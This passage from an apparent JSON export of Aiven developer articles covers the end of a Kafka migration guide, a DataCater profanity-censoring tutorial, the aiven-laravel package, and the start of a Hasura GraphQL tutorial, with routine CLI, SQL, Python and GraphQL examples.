Apache Kafka clusters are in sync.\n\nFollow the documentation to review [how to create services integrations](https://aiven.io/docs/platform/howto/create-service-integration). \n\nThe metric you want to track is called ``kafka_mirrormaker_summary.replication_lag``. The image below showcases a Grafana® dashboard showing the mean MirrorMaker 2 replication lag trending to ``0``.\n\n\n![Grafana dashboard showing the `kafka_mirrormaker_summary.replication_lag` metric](https://cdn.sanity.io/images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png)\n\n## Migrate topic schemas\n\nApache Kafka topic schemas define the structure of the data in certain topics. They can be migrated two different ways:\n\n1. By replicating the schemas topic stored in Apache Kafka (usually located in the ``_schemas`` topic).\n2. By extracting the schema information from the source and registering in the target environment using the appropriate APIs.\n\nThe second option offers much more control over which schemas are migrated. To register the schemas in an Aiven for Apache Kafka service you can:\n\n* Navigate in the [Aiven Console](https://console.aiven.io/), service page, **Schemas** tab.\n* Use the [Karapace rest APIs](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceSchemaRegistrySubjectVersionPost).\n* Use [Aiven command line interface](https://aiven.io/docs/tools/cli).\n\n\n## Migrate access control list\n\nApache Kafka Access Control Lists (ACLs) define how various users are allowed to interact with the topics and schemas. To migrate ACLs, we recommend extracting the ACL definition from the source Apache Kafka cluster, then recreating the ACL in the target cluster. \n\nIf the target of the migration is Aiven for Apache Kafka, you can define the ACLs with:\n\n* The [Aiven Console](https://console.aiven.io/), service page, **Access Control Lists (ACL)** tab.\n* The dedicated [Aiven REST API](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceKafkaAclAdd).\n* The dedicated [Aiven CLI command](https://aiven.io/docs/tools/cli/service/acl).\n\n\n## Change client settings\n\nAfter the replication flow is running and the schemas and ACLs are in place, you can start pointing producers and consumers to the target Apache Kafka cluster. \n\n::alert[To avoid losing Apache Kafka messages during the asynchronous MirrorMaker 2 migration, we suggest stopping the producers, checking that both the consumer lag in the source system and the MirrorMaker 2 replication lag is ``0``, and then pointing producers and consumers to the target Apache Kafka cluster. The [migration process](#complete-migration-process) provides a detailed series of steps to follow.]{title=\"Warning\" type=\"warning\"}\n\nIf the target of the migration is Aiven for Apache Kafka, follow the documentation to [download the required certificates and connect as a producer or consumer](https://aiven.io/docs/products/kafka/howto/list-code-samples).\n\n\n## Complete migration process\n\nThe following diagram showcases all the steps included in an Apache Kafka migration process.\n\n\u003c!-- \nthis mermaid code doesn't render on page. Using https://mermaid.live to create image instead. https://github.com/aiven/devportal/blob/8ac99e7009720a20047f0442d344bc7f8ed57779/docs/tutorials/kafka-migration.rst\n--\u003e\n\n![Diagram showcases all the steps included in an Apache Kafka migration process](https://cdn.sanity.io/images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg?w=450)\n\n## Check the migration results\n\nWhen the migration process terminates, check the target Apache cluster to ensure that:\n\n* All the ACLs are in place: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Access Control List (ACL)** Tab. \n* All the schemas are present in the target schema registry (Karapace for Aiven for Apache Kafka): in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Schemas** Tab.  \n* All the topics included in the replication flows defined are present, and the data is flowing: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Topics** Tab. \n* All the producers and consumers are pointing to the target cluster and correctly pushing/consuming data\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-06T16:41:43.597Z"},"publishedAt":"2023-04-03T13:58:10.371Z","seo":{"_type":"metaData","metaDescription":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cf9059de9de4d8003e89c16ad83780967cb32940-2500x1308-png","_type":"reference"}},"metaTitle":"Migrate Apache Kafka with MirrorMaker 2"},"slug":{"_type":"slug","current":"/developer/kafka-migration-mirrormaker2"},"subtitle":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2 - for instance, when moving from an on-premises system to a managed or self-hosted Kafka cluster.\n","tags":[{"_key":"07fa167207df","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"3001d4f23922","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Migrate an Apache Kafka® instance using Apache Kafka® MirrorMaker 2"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:17:59Z","_id":"0c20120f-4fba-46dc-b789-37eef830527a","_rev":"VeNKqGNmt13PzvGhqsT6cW","_type":"devArticle","_updatedAt":"2024-01-29T15:50:20Z","body":"\n## Censor your streaming data with Aiven and DataCater\n\nOh \\*\\*\\*\\*, everyone knows that bad words shouldn't be used!\n\nEven though you might not expect it, profanity exists everywhere, whether it's a single person talking, a social media comment, or a live show. Giving visibility to such bad words can have disastrous effects, and, in the word of real-time streaming, we can't rely on a human check. Therefore we need to build streaming systems that automatically prevent bad words from being displayed. If you're interested in this, today's your lucky day, because we're going to create one with a couple of technologies and integrations!\n\nIn this blog post, we'll use the great [Simpsons dataset](https://www.kaggle.com/datasets/pierremegret/dialogue-lines-of-the-simpsons), perfect for our scenario since it contains phrases with several bad words, like a live presenter cursing periodically. We'll demonstrate how we can clean up sentences in streaming mode using:\n\n* [Aiven for PostgreSQL®](https://aiven.io/postgresql), everyone's beloved database, for storing the Simpsons dataset.\n* [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api), for detecting bad words in the sentences.\n* [Aiven for OpenSearch®](https://aiven.io/opensearch), for storing the polished Simpsons dataset; we’ll use search filters to investigate the results and the amazing OpenSearch Dashboard to visualize them.\n* [DataCater](https://datacater.io/), an online service to define streaming data pipelines with an interesting option to write Python transformations; DataCater enables us to stream the data from PostgreSQL® to OpenSearch® and detect swears using ApiLayer’s Bad words API on the way.\n\n### Create the data storage\n\nWe need a PostgreSQL database that will act as storage for the sentences. For convenience, we are using Aiven for PostgreSQL; we can create it with the [Aiven CLI](https://aiven.io/docs/tools/cli.html) and the following command:\n\n```shell\navn service create demo-pg  \\\n    --service-type pg       \\\n    --plan hobbyist         \\\n    --cloud google-europe-west8\n```\nThe minimal `hobbyist` plan is all we need for the Simpsons dataset. We also chose the `google-europe-west8` zone, one of the newest zones covered by Aiven, conveniently located in Milan. You can review the list of clouds available in the [dedicated document](https://aiven.io/docs/platform/reference/list_of_clouds.html).\n\nWe also need to create an Aiven for OpenSearch service which will contain the polished results:\n\n```shell\navn service create demo-opensearch  \\\n    --service-type  opensearch      \\\n    --plan hobbyist                 \\\n    --cloud google-europe-west8\n```\n\nAs before, we're using the `hobbyist` plan and the same region. Let's wait for both services to be up with:\n\n```shell\navn service wait demo-pg\navn service wait demo-opensearch\n```\n\n### Load the data in PostgreSQL\n\nThe [Simpsons dialogue dataset](https://www.kaggle.com/datasets/pierremegret/dialogue-lines-of-the-simpsons) is available in [Kaggle](https://www.kaggle.com/). After creating a Kaggle account, we can download it as `archive.zip`, and then decompress that to produce the data in CSV format in a file named `simpsons_dataset.csv`. The file contains all the dialogues together with the character speaking each sentence.\n\nTo load it into the PostgreSQL database, we first need connect to the PostgreSQL command prompt with:\n\n```shell\navn service cli demo-pg\n```\n\nThen we need to create a table called `simpsons_dialogues` to host our dataset:\n\n```sql\ncreate table simpsons_dialogues(\n    id serial primary key,\n    character_speaking text,\n    words text);\n```\n\nCopying the dataset over to PostgreSQL can be done using the PostgreSQL `\\copy` command:\n\n```sql\n\\copy simpsons_dialogues(character_speaking, words) from 'simpsons_dataset.csv' csv header\n```\n\nThe data should be ingested in a matter of seconds... Once the upload is finished, you can check there's some data in the table with the following query:\n\n```sql\nselect count(*) from simpsons_dialogues;\n```\n\nNow it's time to play.\n\n### Define the transformation flow in DataCater\n\nAfter importing the data, we need to define how we'll transform the data. We can head to [DataCater](https://datacater.io/) and sign up for a free trial, entitling us to define up to two pipelines. Once our account is confirmed, we will land in the main dashboard where we can create the data endpoints of our pipeline.\n\n#### Define the PostgreSQL source\n\nWe need to tell DataCater where to source the data and where to sink it. Let's start by mapping the source of data, by clicking on the **Data Sources** link at the top, and selecting **Create a data source**. The list of options available is quite wide, and includes **PostgreSQL** which we need to load the Simpsons dataset.\n\nTo define a datasource on top of Aiven for PostgreSQL we need to specify:\n\n* **Name**: the logical name of the datasource, we can use `simpsons_source_data`\n* **Hostname or IP**, **Port**, **Username** and **Password**: the connection details to use to reach Aiven for PostgreSQL. We can find all the details with the following Aiven CLI command:\n\n  ```shell\n  avn service get demo-pg --format '{service_uri_params}'\n  ```\n\n* **SSL**: Aiven for PostgreSQL requires SSL, therefore we need to specify **Use SSL**\n* **Database** and **Schema**: the database and schema where the data is residing. We used the defaults, therefore the database is `defaultdb` and the schema is `public`\n* **Table name**: the table with the data, in our case it is `simpsons_dialogues`. We can either allow DataCater to fetch the list of tables and select from the dropdown, or fill it in explicitly.\n\nWe also need to change the **Change Data Capture** method, and select [Logical replication with wal2json](https://www.postgresql.org/docs/current/logical-replication-architecture.html).\n\n![Logical replication wal2json](//cdn.sanity.io/images/sczeoy4w/production/74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884.png)\n\nWith all the fields filled, we can check the connection and, if successful, click on **Create datasource**.\n\n#### Define the OpenSearch target\n\nA similar exercise can be done with the OpenSearch index, that we'll use as a data pipeline target. We need to head to **Data sinks** and click on **Create data sink**, select **Elasticsearch**, and provide the following details:\n\n* **Name**: the logical name of the data sink, we can use `simpsons_sink_data`\n* **Hostname or IP**, **Port**, **Username** and **Password**: the connection details to use to reach Aiven for PostgreSQL. We can find all the details with the following Aiven CLI command:\n\n  ```shell\n  avn service get demo-opensearch --format '{service_uri_params}'\n  ```\n\n* **HTTP Scheme**: we can use the `HTTPS` protocol, available by default in Aiven for openSearch\n* **Index name**: we can either leave this blank (an index named `datacater_pipeline_[pipeline_id]` will be used), or fill it in. In our case we'll fill it in with `simpsons_cleaned_dialogues`\n\nOnce we've checked that the connection is valid, we click on **Create data sink** to finalise the process.\n\n#### Get the ApiLayer token and enable the Bad words API\n\nAs anticipated, we're going to use the [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api) to clean-up the sentences, which means we need to setup an account. Once that's created and verified, we can subscribe to the [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api) free plan (enough for our little test).\n\nRemember to make a note of the **API Key** from your account details on the ApiLayer website. You'll need it down the road.\n\n#### Polish all the sentences\n\nTime to create our data pipeline.\n\nLet's head back to DataCater and select the **Pipelines** tab at the top of the window and click on **Create pipeline**. We can now:\n\n* Select the data source named `simpsons_source_data` pointing to our PostgreSQL table.\n* Select the data sink named `simpsons_cleaned_dialogues` pointing to our OpenSearch index.\n\nSince [ApiLayer Bad words API Free Plan](https://apilayer.com/marketplace/bad_words-api#pricing) only allows us to clean up to 100 sentences a day, we'll focus on the most recent sentences of the iconic character `Bart Simpson`. To do this, let's navigate to the **Filters** tab and add the following filters: \n\n* In the `character_speaking` column, add a filter of type **Require values that equal value** with the value `Bart Simpson`\n* In the `id` column, add a filter of type **Require values that are greater than value** with the value `157500`. The `157500` value has been hand crafted accurately to have enough examples to play with, but not too much to exceed the API's free tier daily quota.\n\nThe Filters tab should look like the following image. Don't worry about the 100% drop rate, it's based on sample data, and we still have 54 rows to parse. You can check it with the following query in the PostgreSQL database\n\n```\nselect count(*)\nfrom simpsons_dialogues\nwhere character_speaking = 'Bart Simpson'\nand id \u003e 157500\n```\n\n![The Filter tab showing the two filters applied to the pipeline](//cdn.sanity.io/images/sczeoy4w/production/e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482.png)\n\nNow we need to define the cleaning pipeline by navigating to the **Transform** tab, where the magic 🪄 happens.\nIf we click on the **Apply transformation** button below the `character_speaking` column, we can check the long list of options available for transformations and select **Capitalize** to normalise all characters capitalization.\n\nThen we can move to the `words` column and, apply the **User defined transformation** which allows us to write Python, amazing! The [DataCater Code Transformations documentation](https://datacater.io/docs/transformations/code/) says that we can use the [requests](https://pypi.org/project/requests/) module to perform API calls to ApiLayer.\n\nWith Python we can call the ApiLayer Bad Words API, pass the phrase and store the cleanup response. Pasting the following code (taken from the [ApiLayer documentation](https://apilayer.com/marketplace/bad_words-api#documentation-tab)) and replacing the `APILAYER_KEY` placeholder with the value we saved earlier from the ApiLayer website will do the trick:\n\n```python\nimport requests\n\nurl = \"https://api.apilayer.com/bad_words?censor_character={censor_character}\"\n\nheaders= {\n  \"apikey\": \"APILAYER_KEY\"\n}\n\ndef transform(value, row):\n  result = ''\n  if row['words'] is not None:\n    payload = row['words'].encode(\"utf-8\")\n    response = requests.request(\"POST\", url, headers=headers, data = payload)\n\n    status_code = response.status_code\n    result = response.text\n  if result is None:\n    result=''\n  return str(result)\n```\n\nIn the above code, we're setting the headers and the URL, and then retrieving the `words` column from the current row (`row['words]`), encoding it and passing it to the ApiLayer API, and then finally parsing the result.\n\nOnce we've finished our transformation definition, the tab should be similar to the following image.\n\n![Screenshot of the transformation tab including the capitalize and user defined transformation](//cdn.sanity.io/images/sczeoy4w/production/2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582.png)\n\n### Deploy the pipeline and check the results\n\nIt's finally time to deploy the pipeline. We can head to the **Deploy** tab and click on **Create deployment**. We just need to wait a couple of seconds for the deployment to be created and then we can hit the **Start** button. The DataCater UI allows us also to browse the deployment logs, which is quite handy to spot if something goes wrong.\n\nWhere's our data gone? We can check it in OpenSearch Dashboards, available alongside our Aiven for OpenSearch. We can find the URL and login credentials with:\n\n```shell\navn service get demo-opensearch --json \\\n    | jq -r '.connection_info.opensearch_dashboards_uri'\n```\n\nWe can head to **Stack Management** select **Index Patterns**, and create an index pattern with the name `simpsons*`. If our data pipeline is working we should see that the `simpsons_cleaned_dialogues` exists. \n\n![OpenSearch Index pattern screen showing the simpsons\\_cleaned\\_dialogues index](//cdn.sanity.io/images/sczeoy4w/production/12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616.png)\n\nAfter creating the index pattern, we can head to the **Discover** tab, add a filter for `words.bad_words_total` not being equal to 0, and review the dialogues that seem to contain bad words. Some of them are false positives... but hey better safe than sorry!\n\n![List of censored words](//cdn.sanity.io/images/sczeoy4w/production/619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292.png)\n\n### Is it really streaming?\n\nAs of now, we have only polished a static set of sentences. Can we demonstrate that the flow is acting in streaming mode too?\n\nWith our terminal connected to the PostgreSQL instance, we can now take a deep breath and run the following insert statement replacing the `BAD_WORDS_PHRASE` with something really impolite:\n\n```sql\ninsert into simpsons_dialogues (character_speaking, words)\n    values ('Bart Simpson', 'BAD_WORDS_PHRASE');\n```\n\nAnd immediately we should see a new entry in the OpenSearch index. In my case... it worked! \n\nBy refreshing the OpenSearch Dashboard, scrolling to the bottom, checking the last entry and clicking on the little arrow `\u003e` next to the message, we can see the JSON output in detail, represented below with some `*` polishing the bad words.\n\n```json\n{\n  \"_index\": \"thesimpsons\",\n  \"_type\": \"_doc\",\n  \"_id\": \"158315\",\n  \"_version\": 0,\n  \"_score\": 0,\n  \"_source\": {\n    \"id\": 158315,\n    \"character_speaking\": \"Bart Simpson\",\n    \"words\": {\n      \"content\": \"D*** A** S***\",\n      \"bad_words_total\": 3,\n      \"bad_words_list\": [\n        {\n          \"original\": \"D***\",\n          \"word\": \"d***\",\n          \"deviations\": 0,\n          \"info\": 2,\n          \"start\": 0,\n          \"end\": 4,\n          \"replacedLen\": 4\n        },\n        {\n          \"original\": \"A**\",\n          \"word\": \"a**\",\n          \"deviations\": 0,\n          \"info\": 2,\n          \"start\": 5,\n          \"end\": 8,\n          \"replacedLen\": 3\n        },\n        {\n          \"original\": \"S**\",\n          \"word\": \"s**\",\n          \"deviations\": 0,\n          \"info\": 2,\n          \"start\": 9,\n          \"end\": 13,\n          \"replacedLen\": 4\n        }\n      ],\n      \"censored_content\": \"**** *** ****\"\n    }\n  }\n}\n```\n\nA real-time streaming solution that polishes sentences... This is \\*\\*\\*\\* brilliant!\n\n### Enhance streaming data pipelines with Python extensions\n\nJokes apart, this is just a simple example of what's achievable by plugging DataCater on top of Aiven services, like Aiven for PostgreSQL and Aiven for OpenSearch. The rich set of pre-cooked transformations allows you to cover a great part of the typical data manipulations needed, and, for the rest, there's always the Python extension handy.\n\nSome more resources that you might find useful:\n\n* [DataCater documentation](https://datacater.io/docs/)\n* [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api)\n* [PostgreSQL logical replication with wal2json](https://www.postgresql.org/docs/current/logical-replication-architecture.html)\n* [Aiven for OpenSearch Dashboard](https://aiven.io/docs/products/opensearch/dashboards.html)\n* [Aiven CLI documentation](https://aiven.io/docs/tools/cli.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:17:56.196Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"6d6036577379","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-09-30T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8e60202db204a96031f7f815169309c3709fa8d3-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/datacater-simpsons"},"subtitle":"We all know we shouldn't use naughty words. Learn how to remove them from your streaming data using DataCater.","tags":[{"_key":"facea6816872","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"47642dd6cb29","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"c1cbedfd9024","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Remove naughty words from your data using DataCater"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:34:48Z","_id":"1490ee7b-9ce0-473d-8aa8-438f85e1bff1","_rev":"lhvtNBOlLYH5KiQFQ8Ym07","_type":"devArticle","_updatedAt":"2024-01-29T15:45:17Z","body":"Our mission at Aiven is to make developers' lives better. Today I'd like to share our new tool that makes Laravel developers' lives better by adding some helpful functionality to their projects.\n\nLaravel is the most popular PHP framework in use today, and is usually backed by either [MySQL](https://aiven.io/mysql \"Aiven for MySQL\") or [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") databases (Aiven offers both). Many developer platforms use one database for development and another for specific sets of test data. You might also need to connect elsewhere to debug a specific problem. However, switching between databases can be cumbersome.\n\nLuckily we have a solution for you! The [`aiven-laravel`](https://github.com/Aiven-Labs/aiven-laravel) package makes it painless to reconfigure your database connection. It adds commands to the `artisan` command line utility that you can use to configure your application to point to any of your Aiven database services. It also adds some helpers to power off any databases that are not in use, so you can save that money for a more productive purpose.\n\n## Set up the Aiven-Laravel package\n\nIf you're new to Aiven, you can [sign up for a free trial](https://console.aiven.io/signup) to get started. If you're new to Laravel, it has a nice [starter project](https://laravel.com/docs/8.x#installation-via-composer) you can use to begin.\n\nAdd `aiven-laravel` to your existing (or newly created) project with Composer; the project page has the [full installation instructions](https://github.com/Aiven-Labs/aiven-laravel#getting-started). You will need to generate an [Aiven access token](https://aiven.io/docs/platform/howto/create_authentication_token) to connect your Aiven account, and then you are ready to Aiven your Laravel ... (is Aiven a verb? It is now).\n\n## Configure Laravel to use an Aiven service\n\n`aiven-laravel` makes setting the configuration easier whether you're running Aiven for MySQL or Aiven for PostgreSQL (or indeed Redis®* or OpenSearch®, which are also common and sound combinations for Laravel). The default configuration for Laravel is to use a `.env` file and to list the database host, port, and other details separately. However, it also supports use of the `DATABASE_URL` environment variable to hold an entire connection string. This can be a more convenient way to work with database connections. Set the single string in your `.env` file for development, and configure just one environment variable on the cloud platform you deploy to.\n\nTo check the databases and their types that are currently in your Aiven account, use this command:\n\n```\nphp artisan aiven:list\n```\n\n_Note:_ If you installed the `Aiven-Labs/aiven-laravel` package without reading the instructions and didn't configure it yet, it will prompt you with the environment variables you need to set. Because, yes, this package was built by an engineer who doesn't read setup instructions either.\n\nLet's say you have a MySQL service called `dev-db`. You can get the configuration that you need to connect to it from Laravel with:\n\n```\nphp artisan aiven:getconfig --service dev-db\n```\n\nTake the output of the command and put it wherever you need your config to go! If you're developing locally, this is `.env` by default, but if you use multiple environment config files or are managing your environment differently, you can use these values there instead.\n\n## Avoid cloud bill surprises\n\nOne thing that stops people from modernizing their setup and moving to the cloud, especially for development, is how easy it is to accidentally misconfigure something and get a large bill. It happens too often, and it's definitely something that all developers should be cautious of. Aiven's **pricing includes data transfer** so the price shown is what you'll pay if you leave the database running full time - this by itself reduces the risks hugely.\n\nAnother way to keep costs under control is to turn things off when you are not using them, and this applies particularly to development platforms. Aiven gives the ability to power off your database when you're not using it, and power it back on unchanged - and we've added support to do that from `artisan` with the Aiven-Laravel package.\n\nWhen you sit down to do some development work and need your database:\n\n```\nphp artisan aiven:powerup --service dev-db\n```\n\n[your amazing things happen here]\n\nWhen you have finished for the day, stop the meter from running by powering the service down again until next time:\n\n```\nphp artisan aiven:powerdown --service dev-db\n```\n\nFor databases that don't need to be always on, the test platforms for a client that you don't need to use every day ... this approach makes the cloud a very attractive place to keep your databases for low-friction access when you need them.\n\n## Aiven-Laravel and you\nWe know that plenty of PHP developers use our platform already, and we would love to hear from you if you find Aiven-Laravel useful (or not!). What would you add? Is there anyone you think should try out the tool? Issues, stars and pull requests are more than welcome on the [GitHub repository](https://github.com/Aiven-Labs/aiven-laravel)!\n\n## Wrapping up\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\")\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:34:45.509Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-11-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Using Laravel? Read about our new way to easily reconfigure your Aiven database connection: connect to any Aiven database and power off any unused ones.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-145f5e9e094ad61719c6c39dfe1ddd89a7ced55b-1200x628-jpg","_type":"reference"}},"metaTitle":"Add Aiven database magic to your Laravel project"},"slug":{"_type":"slug","current":"/developer/add-aiven-database-magic-to-your-laravel-project"},"subtitle":"Using Laravel? Read about our new way to easily reconfigure your Aiven database connection: connect to any Aiven database and power off any unused ones.","tags":[{"_key":"f76ebe8bb101","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"a6f7fdbb699a","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"da5ba6f41e92","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"90a969fc05d4","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Add Aiven database magic to your Laravel project"}
{"__i18n_lang":"en","_createdAt":"2024-01-10T10:51:18Z","_id":"39aefd46-3616-41e8-bd47-bb5846101455","_rev":"VeNKqGNmt13PzvGhqsSeSC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:37Z","body":"A dataset in a database is only useful if it can be queried by companies' applications. GraphQL exposes the data via APIs by adding a layer on top of the database. This allows you to both control who has access to resources and abstract the physical storage of information from how the data is queried and manipulated.\n\nThis tutorial shows how to add GraphQL APIs on top of a PostgreSQL database using [Hasura cloud](https://cloud.hasura.io/)\n\n## Create and Populate a PostgreSQL® database\n\nThe first step to expose the data via GraphQL is to create a PostgreSQL database and upload some data. To do this:\n\n1. [Sign up for an Aiven account](https://console.aiven.io/signup) and access the Aiven console.\n2. Create an Aiven for PostgreSQL® service and specify:\n    \n    * The PostgreSQL version\n    * The cloud provider and region\n    * The service plan, defining the size of the service. We can use the free tier for the purpose of this tutorial\n    * The additional storage disk size\n    * The service name\n\n![Overview of Aiven for PostgreSQL service creation](https://cdn.sanity.io/images/sczeoy4w/production/d5784455517b891b65d151449241ac8e51a110e1-1353x725.png)\n\n3. Wait a couple of minutes for the Aiven for PostgreSQL service to be up and running\n\n4. Include the Pagila dataset by following the [related documentation](https://aiven.io/docs/products/postgresql/howto/pagila)\n\nWhen done, if we connect to the PostgreSQL database with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql), we should be able to navigate to the `pagila` database with:\n\n```\n\\c pagila\n```\n\nCheck that we have tables in the database using the `\\dt` command, with a result similar to the below:\n\n```\n                    List of relations\n Schema |       Name       |       Type        |  Owner\n--------+------------------+-------------------+----------\n public | actor            | table             | avnadmin\n public | address          | table             | avnadmin\n public | category         | table             | avnadmin\n public | city             | table             | avnadmin\n public | country          | table             | avnadmin\n public | customer         | table             | avnadmin\n public | film             | table             | avnadmin\n public | film_actor       | table             | avnadmin\n public | film_category    | table             | avnadmin\n public | inventory        | table             | avnadmin\n public | language         | table             | avnadmin\n public | payment          | partitioned table | avnadmin\n public | payment_p2020_01 | table             | avnadmin\n public | payment_p2020_02 | table             | avnadmin\n public | payment_p2020_03 | table             | avnadmin\n public | payment_p2020_04 | table             | avnadmin\n public | payment_p2020_05 | table             | avnadmin\n public | payment_p2020_06 | table             | avnadmin\n public | rental           | table             | avnadmin\n public | staff            | table             | avnadmin\n public | store            | table             | avnadmin\n(21 rows)\n```\n\nAnd if we query the `actor` table with `select * from actor limit 10;` we should see the the following 10 rows:\n\n```\n actor_id | first_name |  last_name   |      last_update\n----------+------------+--------------+------------------------\n        1 | PENELOPE   | GUINESS      | 2020-02-15 09:34:33+00\n        2 | NICK       | WAHLBERG     | 2020-02-15 09:34:33+00\n        3 | ED         | CHASE        | 2020-02-15 09:34:33+00\n        4 | JENNIFER   | DAVIS        | 2020-02-15 09:34:33+00\n        5 | JOHNNY     | LOLLOBRIGIDA | 2020-02-15 09:34:33+00\n        6 | BETTE      | NICHOLSON    | 2020-02-15 09:34:33+00\n        7 | GRACE      | MOSTEL       | 2020-02-15 09:34:33+00\n        8 | MATTHEW    | JOHANSSON    | 2020-02-15 09:34:33+00\n        9 | JOE        | SWANK        | 2020-02-15 09:34:33+00\n       10 | CHRISTIAN  | GABLE        | 2020-02-15 09:34:33+00\n(10 rows)\n```\n\n## Create a Hasura Project\n\nThe next step is to visit [https://cloud.hasura.io/](https://cloud.hasura.io/) and create an account if you haven't done so. Once your Hasura account is ready, proceed to create a new project, utilizing the free tier for the purpose of this tutorial.\n\n![Create Hasura project](https://cdn.sanity.io/images/sczeoy4w/production/d42acfb9dce0b0715e8cfa79142cc055a6c55092-1330x765.png)\n\nNote: Consider selecting a region for your Hasura project deployment that is near the region where the Aiven for PostgreSQL service is running to minimize latency.\n\nNow, review the details of the Hasura project and click on **Launch Console**.\n\n![Hasura project details](https://cdn.sanity.io/images/sczeoy4w/production/8b97524efa1490aacd0bd1405abb179724006278-1544x801.png)\n\n## Connect the Hasura project to Aiven for PostgreSQL\n\nTo connect the Hasura project and Aiven for PostgreSQL, navigate to the **Data** tab in the Hasura console. Choose PostgreSQL and select **Connect Existing Database**. Provide a name for the database and copy the URL from the [Aiven Console](https://console.aiven.io/), specifically from the service **Overview** page, into the **Database URL** connection parameter.\n\n![Aiven for PostgreSQL service URI into the Database URL parameter](https://cdn.sanity.io/images/sczeoy4w/production/5b2526dc8c55aec060d0410c65c5e5e3e8a96082-6786x2030.png)\n\nIn the above URI, replace the database name `defaultdb` with `pagila`, and then click on **Connect Database**. Your connection should be visible with the chosen database name (`Pagila` in the screenshot below).\n\n![Hasura Data Connection stored](https://cdn.sanity.io/images/sczeoy4w/production/08cb186ca143ef4951e73c4eee1a7676ca0f8018-1327x260.png)\n\n## Track a PostgreSQL table in Hasura\n\nThe next step is to track a PostgreSQL database table in Hasura. To do this, navigate to the **Database** section, click on the `public` schema, and then select **Track** next to the `actor` table.\n\n![Track PostgreSQL table in Hasura](https://cdn.sanity.io/images/sczeoy4w/production/4a4ea4a5393a1a1e12d9101d970acfb3b152475a-1634x431.png)\n\nReview the tracking details and make changes in the following screen.\n\n![Tracking details in Hasura](https://cdn.sanity.io/images/sczeoy4w/production/fd761762895bf17a4c3a1090cb5a358ee15ac3aa-1179x516.png)\n\n## Create GraphQL queries\n\nThe last step is to create GraphQL APIs on for our data. Go to the **API** tab in Hasura and  look at the **Explorer** section. It should show the `actor` table.\n\n![Explorer showing the actor table](https://cdn.sanity.io/images/sczeoy4w/production/e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3-303x314.png)\n\n### Get all actors\n\nThe first query to implement lets us to select all the actors. We can perform that by writing, in the main **GraphQL** section, the query:\n\n```\nquery actors {\n  actor {\n    actor_id\n    first_name\n    last_name\n    last_update\n  }\n}\n```\n\nNext, click on **Run**. We should see the `actor` data appearing in the data preview section:\n\n```\n{\n  \"data\": {\n    \"actor\": [\n      {\n        \"actor_id\": 1,\n        \"first_name\": \"PENELOPE\",\n        \"last_name\": \"GUINESS\",\n        \"last_update\": \"2020-02-15T09:34:33+00:00\"\n      },\n      {\n        \"actor_id\": 2,\n        \"first_name\": \"NICK\",\n        \"last_name\": \"WAHLBERG\",\n        \"last_update\": \"2020-02-15T09:34:33+00:00\"\n      },\n      {\n        \"actor_id\": 3,\n        \"first_name\": \"ED\",\n        \"last_name\": \"CHASE\",\n        \"last_update\": \"2020-02-15T09:34:33+00:00\"\n      },\n      ...\n    ]\n  